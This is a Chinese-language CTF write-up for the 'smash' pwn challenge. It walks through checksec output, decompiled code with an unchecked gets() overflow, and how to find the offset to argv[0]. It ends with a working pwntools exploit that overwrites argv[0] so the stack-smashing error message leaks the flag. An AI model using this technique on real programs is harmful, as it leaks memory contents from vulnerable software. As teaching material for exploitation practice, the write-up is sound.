知识点来自ctfwiki,花式栈溢出
思路来自hollk师傅
checksec通过覆盖argv[0]为flag地址,使stack smash detected的时候打印出报错信息,同时带出flag
[*] '/home/squirrel/桌面/smash'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
无PIE和RELRO
代码审计unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
char v3[264]; // [rsp+0h] [rbp-128h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!nWhat's your name? ");
if ( !_IO_gets(v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.nPlease overwrite the flag: ", v3);
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
注意到
byte_600D20为数组首地址
在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出
600D20段的地址被覆盖了,但400D20的地方还有
argv[0]会有一个明显的特征,就是他会指向程序名
pwndbg> p & __libc_argv[0] $1 = (char **) 0x7fffffffdf28寻找输入时的栈顶
输入objdump -d smash
pwndbg> b *0x40080e Breakpoint 1 at 0x40080e
可以看到rdi是溢出点位置0x7fffffffdd10
偏移0x7fffffffdf28-0x7fffffffdd10=0x218
这个oj好像暂时坏掉了 nc不通QAQ
from pwn import*
#nc pwn.jarvisoj.com 9877
#p=remote("pwn.jarvisoj.com",9877)
p=process("./smash")
payload=b'a'*0x218+p64(0x400D20)
p.sendlineafter("What's your name? ",payload)
p.sendlineafter("Please overwrite the flag: ","I will hack you")
print(p.recv())



